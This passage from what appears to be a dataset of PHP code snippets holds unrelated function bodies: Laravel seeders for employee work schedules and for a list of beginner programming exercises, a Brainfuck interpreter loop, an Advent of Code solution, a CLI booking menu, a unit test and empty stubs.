['in'=>4*60*60,'out'=>5*60*60, 'total_time'=> 30*60, ],\n ],\n 'RestrainTime' => 8*60*60,\n 'BreakTime' => 1*60*60,\n 'WorkingTime' => 7*60*60,\n\n ],\n 'g'=>[\n 'in'=>18*60*60,\n 'out'=>22*60*60,\n 'breaks'=>[],\n 'RestrainTime' => 9*60*60,\n 'BreakTime' => 1*60*60,\n 'WorkingTime' => 8*60*60,\n\n ],\n ];\n\n # 契約出勤日\n $ContractWorkingDays = [\n 1 =>[\n 1 =>[$pattern['a']],\n 2 =>[$pattern['a']],\n 3 =>[$pattern['a']],\n 4 =>[$pattern['a']],\n 5 =>[$pattern['a']],\n 6 =>NULL,\n 0 =>NULL,\n 7 =>NULL,\n ],\n 2 =>[\n 1 =>[$pattern['b']],\n 2 =>[$pattern['b']],\n 3 =>[$pattern['b']],\n 4 =>[$pattern['b']],\n 5 =>[$pattern['b']],\n 6 =>NULL,\n 0 =>NULL,\n 7 =>NULL,\n ],\n 3 =>[\n 1 =>[$pattern['c']],\n 2 =>[$pattern['c']],\n 3 =>[$pattern['c']],\n 4 =>[$pattern['c']],\n 5 =>[$pattern['c']],\n 6 =>NULL,\n 0 =>NULL,\n 7 =>NULL,\n ],\n 4 =>[\n 1 =>[$pattern['d']],\n 2 =>[$pattern['d']],\n 3 =>[$pattern['d']],\n 4 =>[$pattern['d']],\n 5 =>[$pattern['g']],\n 6 =>NULL,\n 0 =>NULL,\n 7 =>NULL,\n ],\n 5 =>[\n 1 =>[$pattern['e']],\n 2 =>[$pattern['f'], $pattern['e']],\n 3 =>[$pattern['f'], $pattern['e']],\n 4 =>[$pattern['f'], $pattern['e']],\n 5 =>NULL,\n 6 =>NULL,\n 0 =>NULL,\n 7 =>NULL,\n ],\n\n ];\n\n #出勤記録の保存\n $work_id = 1;\n\n // $nヶ月間の出勤記録\n for ($n=3; $n >= 0; $n--)\n {\n $dateOb = new DateItems;\n $item = $dateOb->getBeforMonth(1,$n); //nヶ月後の情報を取得(d,n)\n\n // 1日~月末\n for ($d=1; $d <= $item['last_d']; $d++)\n {\n $day = $dateOb->getThisMonth($d,$item['m'],$item['Y']);\n\n //従業員ID\n for ($e=1; $e <= 5; $e++)\n {\n $works = $ContractWorkingDays[$e][$day['w']];\n // 一人が一日複数回出勤する記録の出力\n if(!empty( $works )){\n foreach ($works as $work)\n {\n\n if(!empty( $work['breaks'] )){\n foreach ($work['breaks'] as $break)\n {\n $work_break = new WorkBreak([\n 'work_id' => $work_id,\n 'in'=> $break['in'],\n 'out' => $break['out'],\n 'total_time' => $break['total_time'],\n ]);\n $work_break->save();\n }\n }\n\n $work_id ++;\n }\n }\n }\n }\n\n\n }\n\n }",
"public function run($input)\n {\n /*\n * Initialise input.\n */\n $this->input = $input;\n $this->i = 0;\n\n // Loop through instructions.\n $output = '';\n while ($this->p < $this->length) {\n switch ($this->program[$this->p]) {\n case '>':\n // Move to next memory cell.\n $this->next();\n break;\n case '<':\n // Move to previous memory cell.\n $this->previous();\n break;\n case '+';\n // Increment current memory cell.\n $this->memory[$this->m]++;\n break;\n case '-';\n // Decrement current memory cell.\n $this->memory[$this->m]--;\n break;\n case '[':\n // If current memory cell is 0, jump past the matching ']' symbol.\n if ($this->memory[$this->m] == 0) {\n $this->jump(true, array('[' => 1, ']' => -1));\n }\n break;\n case ']':\n // If current memory cell is not 0, jump back to the matching '[' symbol.\n if ($this->memory[$this->m] != 0) {\n $this->jump(false, array('[' => -1, ']' => 1));\n }\n break;\n case '.':\n // Output character.\n $output .= chr($this->memory[$this->m]);\n break;\n case ',':\n // Read character from input.\n $this->memory[$this->m] = $this->read();\n break;\n default:\n // Do nothing.\n }\n $this->p++;\n }\n\n // Return result.\n return $output;\n }",
"public function part2()\n {\n $this->start();\n\n $batches = collect(explode(\"\\n\\n\", $this->getInput()));\n\n $valids = 0;\n\n foreach ($batches as $batch) {\n $batch = str_replace(\"\\n\", ' ', $batch);\n $parts = explode(':', $batch);\n\n foreach ($parts as $k => $part) {\n if ($k + 1 === count($parts)) {\n unset($parts[$k]);\n continue;\n }\n\n $parts[$k] = substr($part, -3, 3);\n }\n\n if (count($parts) < 7) continue;\n\n if (count($parts) === 8) {\n if ($this->fieldsAreValid($batch)) $valids++;\n continue;\n }\n\n if (! in_array('cid', $parts)) {\n if ($this->fieldsAreValid($batch)) $valids++;\n }\n }\n\n $this->finish();\n\n $this->addPart([\n 'table' => [\n 'headings' => ['Part 2: Answer'],\n 'data' => [[$valids]],\n ],\n 'time' => $this->getTime(),\n ]);\n }",
"function main(){\n while(1){\n // show initial options\n $user_input = readline(showOptions(0));\n\n /* Buy flight ticket */\n if($user_input == \"1\"){\n $user_input = readline(showOptions(1));\n if($user_input == \"0\")\n continue;\n buyTicket();\n }\n\n /* Book accomodation */\n else if($user_input == \"2\"){\n $user_input = readline(showOptions(2));\n if( $user_input == \"0\")\n continue;\n bookRoom();\n }\n\n /* Buy package */\n else if($user_input == \"3\"){\n $user_input = readline(showOptions(3));\n if( $user_input == \"0\")\n continue;\n buyPackage();\n }\n }\n}",
"public function testBasicExample()\n {\n $input = ['no_te1'=>'123'];\n $a = explode(\"_\", 'no_te1');\n $this->assertTrue(\\App\\Answer::parentIsSelectedOrNoParent($a, $input));\n\n $input = ['no_ch1_o2_nu3'=>1, 'no_ch1_o2'=>true];\n $a = explode(\"_\",'no_ch1_o2_nu3');\n $this->assertTrue(\\App\\Answer::parentIsSelectedOrNoParent($a, $input));\n\n $input = ['no_ti1_nu3'=>1];\n $a = explode(\"_\",'no_ti1_nu3');\n $this->assertTrue(\\App\\Answer::parentIsSelectedOrNoParent($a, $input));\n //With title between input\n $input = ['no_te1_ti2_nu3'=>1, 'no_te1'=>'123'];\n $a = explode(\"_\",'no_te1_ti2_nu3');\n $this->assertTrue(\\App\\Answer::parentIsSelectedOrNoParent($a, $input));\n\n // advance\n $input = [\"no_ra808\"=> \"81\",\n \"no_ra808_o81_ti809_ch810_o228\" => true,\n \"no_ra808_o81_ti809_ch810_o228_nu819\"=> 2,\n \"no_ra808_o81_ti809_ch810_o228_nu820\"=> 3,\n \"no_ra808_o81_ti809_ch810_o228_ra811\"=>\"326\",\n \"no_ra808_o81_ti809_ch810_o228_ra812\"=> \"225\"];\n $a = explode(\"_\", \"no_ra808_o81_ti809_ch810_o228_ra811\");\n $this->assertTrue(\\App\\Answer::parentIsSelectedOrNoParent($a, $input));\n\n }",
"protected function processSpecialInputFields(MortarFormInput $input)\n\t{\n\n\t}",
"public function handle()\n {\n $this->prepData();\n $this->info('Lengths: ' . implode(', ', $this->lengths));\n for ($i = 1; $i <= 64; $i++) {\n $this->processData();\n }\n $this->xorData();\n $this->hexResult();\n $this->info('Puzzle 2: ' . $this->result);\n return 0;\n }",
"public function process()\n\t{\n\t\tif(isset($_POST[$this->input_name()])) {\n\t\t\t$this->value = $_POST[$this->input_name()];\n\t\t}\n\t\telse {\n\t\t\t$this->value = false;\n\t\t}\n\t}",
"protected function _process() {}",
"protected function _process() {}",
"protected function _process() {}",
"protected function _process() {}",
"public function run()\n {\n DB::table('problems')->insert(array(\n\t\t array(\n\t\t \t'problem_code' => 'SCS112A', \n\t\t \t'difficulty' => 'easy',\n\t\t \t'problem_title' => 'Odd or Even' ,\n\t\t \t'weakness_id'=> 1, \n\t\t \t'feedback_id' => 1, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'if(-else'\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'SCS113A', \n\t\t \t'difficulty' => 'easy', \n\t\t \t'problem_title' => 'Vowel or Consonant' ,\n\t\t \t'weakness_id'=> 1, \n\t\t \t'feedback_id' => 2, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'if(-elseif'\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'SCS114A', \n\t\t \t'difficulty' => 'easy', \n\t\t \t'problem_title' => 'Equal to, greater than, or less than' ,\n\t\t \t'weakness_id'=> 1, \n\t\t \t'feedback_id' => 3, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'if(-elseif('\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'SCS115A', \n\t\t \t'difficulty' => 'easy', \n\t\t \t'problem_title' => 'Combination of Primary Colors' ,\n\t\t \t'weakness_id'=> 1, \n\t\t \t'feedback_id' => 4, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'if(-elseif(-else'\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'SCS116A', \n\t\t \t'difficulty' => 'easy',\n\t\t \t'problem_title' => 'Dominant or Recessive' ,\n\t\t \t'weakness_id'=> 1, \n\t\t \t'feedback_id' => 5, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'if(-else'\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'SCS117A', \n\t\t \t'difficulty' => 'easy', \n\t\t \t'problem_title' => 'Leap Year' ,\n\t\t \t'weakness_id'=> 1, \n\t\t \t'feedback_id' => 6, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'if(-else'\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'SCS118A', \n\t\t \t'difficulty' => 'easy', \n\t\t \t'problem_title' => 'Divisible by 3' ,\n\t\t \t'weakness_id'=> 1, \n\t\t \t'feedback_id' => 7, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'if(-else'\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'SCS119A', \n\t\t \t'difficulty' => 'easy', \n\t\t \t'problem_title' => 'High School Student Classification' ,\n\t\t \t'weakness_id'=> 1, \n\t\t \t'feedback_id' => 8, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'if(-elseif('\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'SCS120A', \n\t\t \t'difficulty' => 'easy', \n\t\t \t'problem_title' => 'Day of the Week' ,\n\t\t \t'weakness_id'=> 1, \n\t\t \t'feedback_id' => 9, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'switch(-case'\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'SCS121A', \n\t\t \t'difficulty' => 'easy', \n\t\t \t'problem_title' => 'Square, Rectangle, or Triangle' ,\n\t\t \t'weakness_id'=> 1, \n\t\t \t'feedback_id' => 10, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'if(-else'\n\t\t \t\t),\n\n\n\n\n\n\n\n\t\t array(\n\t\t \t'problem_code' => 'RCS112A', \n\t\t \t'difficulty' => 'easy', \n\t\t \t'problem_title' => 'Even Number Counter' ,\n\t\t \t'weakness_id'=> 2, \n\t\t \t'feedback_id' => 11, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'while('\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'RCS113A', \n\t\t \t'difficulty' => 'easy', \n\t\t \t'problem_title' => 'Digit Number Counter' ,\n\t\t \t'weakness_id'=> 2, \n\t\t \t'feedback_id' => 12, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'while('\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'RCS114A', \n\t\t \t'difficulty' => 'easy', \n\t\t \t'problem_title' => 'Print Numbers 1-20' ,\n\t\t \t'weakness_id'=> 2, \n\t\t \t'feedback_id' => 13, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'for('\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'RCS115A', \n\t\t \t'difficulty' => 'easy', \n\t\t \t'problem_title' => 'Print Cubes' ,\n\t\t \t'weakness_id'=> 2, \n\t\t \t'feedback_id' => 14, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'for('\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'RCS116A', \n\t\t \t'difficulty' => 'easy', \n\t\t \t'problem_title' => 'Numbers In Between' ,\n\t\t \t'weakness_id'=> 2, \n\t\t \t'feedback_id' => 15, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'do{-while('\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'RCS117A', \n\t\t \t'difficulty' => 'easy', \n\t\t \t'problem_title' => \"Output x's\" ,\n\t\t \t'weakness_id'=> 2, \n\t\t \t'feedback_id' => 16, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'for('\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'RCS118A', \n\t\t \t'difficulty' => 'easy', \n\t\t \t'problem_title' => 'Until Only One Digit Remains' ,\n\t\t \t'weakness_id'=> 2, \n\t\t \t'feedback_id' => 17, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'while('\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'RCS119A', \n\t\t \t'difficulty' => 'easy', \n\t\t \t'problem_title' => 'Reverse a Number' ,\n\t\t \t'weakness_id'=> 2, \n\t\t \t'feedback_id' => 18, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'while('\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'RCS120A', \n\t\t \t'difficulty' => 'easy', \n\t\t \t'problem_title' => 'Descending 1 to 10' ,\n\t\t \t'weakness_id'=> 2, \n\t\t \t'feedback_id' => 19, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'for('\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'RCS121A', \n\t\t \t'difficulty' => 'easy', \n\t\t \t'problem_title' => 'Decrementation' ,\n\t\t \t'weakness_id'=> 2, \n\t\t \t'feedback_id' => 20, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'while('\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'RCS122A', \n\t\t \t'difficulty' => 'easy', \n\t\t \t'problem_title' => 'Count digits' ,\n\t\t \t'weakness_id'=> 2, \n\t\t \t'feedback_id' => 21, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'for('\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'RCS123A', \n\t\t \t'difficulty' => 'easy', \n\t\t \t'problem_title' => 'Perfect Square Counter' ,\n\t\t \t'weakness_id'=> 2, \n\t\t \t'feedback_id' => 22, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'while('\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'RCS124A', \n\t\t \t'difficulty' => 'easy', \n\t\t \t'problem_title' => 'Decrease Until 0' ,\n\t\t \t'weakness_id'=> 2, \n\t\t \t'feedback_id' => 23, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'do{-while('\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'RCS125A', \n\t\t \t'difficulty' => 'easy', \n\t\t \t'problem_title' => \"Count a's'\",\n\t\t \t'weakness_id'=> 2, \n\t\t \t'feedback_id' => 24, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'for('\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'RCS126A', \n\t\t \t'difficulty' => 'easy', \n\t\t \t'problem_title' => 'Repeating Hello World' ,\n\t\t \t'weakness_id'=> 2, \n\t\t \t'feedback_id' => 25, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'while('\n\t\t \t\t),\n\n\t\t \t//4:33PM OCT 6\n\n\t\t \t//ARRAYS NO JUGDGEMENT\n\n\n\t\t array(\n\t\t \t'problem_code' => 'ARR212A', \n\t\t \t'difficulty' => 'average', \n\t\t \t'problem_title' => 'Letters' ,\n\t\t \t'weakness_id'=> 3, \n\t\t \t'feedback_id' => 26, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'letters['\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'ARR213A', \n\t\t \t'difficulty' => 'average', \n\t\t \t'problem_title' => 'Word' ,\n\t\t \t'weakness_id'=> 3, \n\t\t \t'feedback_id' => 27, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'word['\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'ARR214A', \n\t\t \t'difficulty' => 'average', \n\t\t \t'problem_title' => 'Greater than or equal to 10' ,\n\t\t \t'weakness_id'=> 3, \n\t\t \t'feedback_id' => 28, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'numbers['\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'ARR215A', \n\t\t \t'difficulty' => 'average', \n\t\t \t'problem_title' => 'Lowest Value and Highest Value' ,\n\t\t \t'weakness_id'=> 3, \n\t\t \t'feedback_id' => 29, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'numbers['\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'ARR216A', \n\t\t \t'difficulty' => 'average', \n\t\t \t'problem_title' => 'Same Value' ,\n\t\t \t'weakness_id'=> 3, \n\t\t \t'feedback_id' => 30, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'numbers['\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'ARR217A', \n\t\t \t'difficulty' => 'average', \n\t\t \t'problem_title' => 'Mean' ,\n\t\t \t'weakness_id'=> 3, \n\t\t \t'feedback_id' => 31, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'numbers['\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'ARR218A', \n\t\t \t'difficulty' => 'average', \n\t\t \t'problem_title' => 'Count Even' ,\n\t\t \t'weakness_id'=> 3, \n\t\t \t'feedback_id' => 32, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'integers['\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'ARR219A', \n\t\t \t'difficulty' => 'average', \n\t\t \t'problem_title' => 'Count Odd' ,\n\t\t \t'weakness_id'=> 3, \n\t\t \t'feedback_id' => 33, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'integers['\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'ARR220A', \n\t\t \t'difficulty' => 'average', \n\t\t \t'problem_title' => 'Big Difference' ,\n\t\t \t'weakness_id'=> 3, \n\t\t \t'feedback_id' => 34, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'difference['\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'ARR221A', \n\t\t \t'difficulty' => 'average', \n\t\t \t'problem_title' => 'Ten Run' ,\n\t\t \t'weakness_id'=> 3, \n\t\t \t'feedback_id' => 35, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'multiples['\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'ARR222A', \n\t\t \t'difficulty' => 'average', \n\t\t \t'problem_title' => 'Sum 13' ,\n\t\t \t'weakness_id'=> 3, \n\t\t \t'feedback_id' => 36, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'numbers['\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'ARR223A', \n\t\t \t'difficulty' => 'average', \n\t\t \t'problem_title' => 'Either 2 or 4' ,\n\t\t \t'weakness_id'=> 3, \n\t\t \t'feedback_id' => 37, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'numbers['\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'ARR224A', \n\t\t \t'difficulty' => 'average', \n\t\t \t'problem_title' => 'Three Points' ,\n\t\t \t'weakness_id'=> 3, \n\t\t \t'feedback_id' => 38, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'numbers['\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'ARR225A', \n\t\t \t'difficulty' => 'average', \n\t\t \t'problem_title' => 'Before Four' ,\n\t\t \t'weakness_id'=> 3, \n\t\t \t'feedback_id' => 39, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'numbers['\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'ARR226A', \n\t\t \t'difficulty' => 'average', \n\t\t \t'problem_title' => 'Triple Triple' ,\n\t\t \t'weakness_id'=> 3, \n\t\t \t'feedback_id' => 40, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'numbers['\n\t\t \t\t),\n\n\t\t //5:25PM OCT 6\n\n\n\n\n\n\t\t array(\n\t\t \t'problem_code' => 'SCS212A', \n\t\t \t'difficulty' => 'average', \n\t\t \t'problem_title' => 'Physics Grade' ,\n\t\t \t'weakness_id'=> 1, \n\t\t \t'feedback_id' => 41, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'switch(-case'\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'SCS213A', \n\t\t \t'difficulty' => 'average', \n\t\t \t'problem_title' => 'Employee Salary' ,\n\t\t \t'weakness_id'=> 1, \n\t\t \t'feedback_id' => 42, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'if(-elseif('\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'SCS214A', \n\t\t \t'difficulty' => 'average', \n\t\t \t'problem_title' => 'Electricity Bill' ,\n\t\t \t'weakness_id'=> 1, \n\t\t \t'feedback_id' => 43, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'if(-elseif('\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'SCS215A', \n\t\t \t'difficulty' => 'average', \n\t\t \t'problem_title' => 'Jeepney Fare' ,\n\t\t \t'weakness_id'=> 1, \n\t\t \t'feedback_id' => 44, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'if(-elseif('\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'SCS216A', \n\t\t \t'difficulty' => 'average', \n\t\t \t'problem_title' => 'Age Definition' ,\n\t\t \t'weakness_id'=> 1, \n\t\t \t'feedback_id' => 45, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'if(-elseif('\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'SCS217A', \n\t\t \t'difficulty' => 'average', \n\t\t \t'problem_title' => 'Movie Tickets' ,\n\t\t \t'weakness_id'=> 1, \n\t\t \t'feedback_id' => 46, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'if(-elseif('\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'SCS218A', \n\t\t \t'difficulty' => 'average', \n\t\t \t'problem_title' => 'Election Time' ,\n\t\t \t'weakness_id'=> 1, \n\t\t \t'feedback_id' => 47, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'if(-else'\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'SCS219A', \n\t\t \t'difficulty' => 'average', \n\t\t \t'problem_title' => 'Vowels on a Word' ,\n\t\t \t'weakness_id'=> 1, \n\t\t \t'feedback_id' => 48, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'if(-else'\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'SCS220A', \n\t\t \t'difficulty' => 'average', \n\t\t \t'problem_title' => 'Consonants on a Word' ,\n\t\t \t'weakness_id'=> 1, \n\t\t \t'feedback_id' => 49, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'if(-else'\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'SCS221A', \n\t\t \t'difficulty' => 'average', \n\t\t \t'problem_title' => 'Bricks for a Wall' ,\n\t\t \t'weakness_id'=> 1, \n\t\t \t'feedback_id' => 50, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'if(-else'\n\t\t \t\t),\t\n\n\t\t // 6:10PM OCT 6\n\t\t ///////////////////////////AHHHHHHHHDITO LAST\n\t\t array(\n\t\t \t'problem_code' => 'SCS222A', \n\t\t \t'difficulty' => 'average', \n\t\t \t'problem_title' => 'Same not Sum' ,\n\t\t \t'weakness_id'=> 1, \n\t\t \t'feedback_id' => 51, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'if(-else'\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'SCS223A', \n\t\t \t'difficulty' => 'average', \n\t\t \t'problem_title' => 'Chocolate Bars',\n\t\t \t'weakness_id'=> 1, \n\t\t \t'feedback_id' => 52, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'if(-else'\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'SCS224A', \n\t\t \t'difficulty' => 'average', \n\t\t \t'problem_title' => 'Blackjack' ,\n\t\t \t'weakness_id'=> 1, \n\t\t \t'feedback_id' => 53, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'if(-elseif('\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'SCS225A', \n\t\t \t'difficulty' => 'average', \n\t\t \t'problem_title' => 'Lucky Sum' ,\n\t\t \t'weakness_id'=> 1, \n\t\t \t'feedback_id' => 54, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'if(-else'\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'SCS226A', \n\t\t \t'difficulty' => 'average', \n\t\t \t'problem_title' => 'Close and Far' ,\n\t\t \t'weakness_id'=> 1, \n\t\t \t'feedback_id' => 55, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'if(-elseif'\n\t\t \t\t),\n\t\t array(\n\n\t\t \t///MARKED BRUH\n\t\t \t'problem_code' => 'RCS212A', \n\t\t \t'difficulty' => 'average', \n\t\t \t'problem_title' => 'Bank investment' ,\n\t\t \t'weakness_id'=> 2, \n\t\t \t'feedback_id' => 56, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'for('\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'RCS213A', \n\t\t \t'difficulty' => 'average', \n\t\t \t'problem_title' => 'Reverse with a Twist' ,\n\t\t \t'weakness_id'=> 2, \n\t\t \t'feedback_id' => 57, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'while('\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'RCS214A', \n\t\t \t'difficulty' => 'average', \n\t\t \t'problem_title' => 'Code Count' ,\n\t\t \t'weakness_id'=> 2, \n\t\t \t'feedback_id' => 58, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'while('\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'RCS215A', \n\t\t \t'difficulty' => 'average', \n\t\t \t'problem_title' => 'Triple Character' ,\n\t\t \t'weakness_id'=> 2, \n\t\t \t'feedback_id' => 59, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'while('\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'RCS216A', \n\t\t \t'difficulty' => 'average', \n\t\t \t'problem_title' => 'Ending Y and Z' ,\n\t\t \t'weakness_id'=> 2, \n\t\t \t'feedback_id' => 60, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'while('\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'RCS217A', \n\t\t \t'difficulty' => 'average',\n\t\t \t'problem_title' => 'Happy String' ,\n\t\t \t'weakness_id'=> 2, \n\t\t \t'feedback_id' => 61, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'while('\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'RCS218A', \n\t\t \t'difficulty' => 'average', \n\t\t \t'problem_title' => 'Longest Substring' ,\n\t\t \t'weakness_id'=> 2, \n\t\t \t'feedback_id' => 62, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'while('\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'RCS219A', \n\t\t \t'difficulty' => 'average', \n\t\t \t'problem_title' => 'String Sum' ,\n\t\t \t'weakness_id'=> 2, \n\t\t \t'feedback_id' => 63, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'while('\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'RCS220A', \n\t\t \t'difficulty' => 'average', \n\t\t \t'problem_title' => 'Base and Remove' ,\n\t\t \t'weakness_id'=> 2, \n\t\t \t'feedback_id' => 64, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'for('\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'RCS221A', \n\t\t \t'difficulty' => 'average', \n\t\t \t'problem_title' => 'Mirror Image' ,\n\t\t \t'weakness_id'=> 2, \n\t\t \t'feedback_id' => 65, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'while('\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'RCS222A', \n\t\t \t'difficulty' => 'average', \n\t\t \t'problem_title' => 'Is to Is not' ,\n\t\t \t'weakness_id'=> 2, \n\t\t \t'feedback_id' => 66, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'while('\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'RCS223A', \n\t\t \t'difficulty' => 'average', \n\t\t \t'problem_title' => 'Largest Block' ,\n\t\t \t'weakness_id'=> 2, \n\t\t \t'feedback_id' => 67, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'while('\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'RCS224A', \n\t\t \t'difficulty' => 'average', \n\t\t \t'problem_title' => 'Fibonacci Series' ,\n\t\t \t'weakness_id'=> 2, \n\t\t \t'feedback_id' => 68, \n\t\t 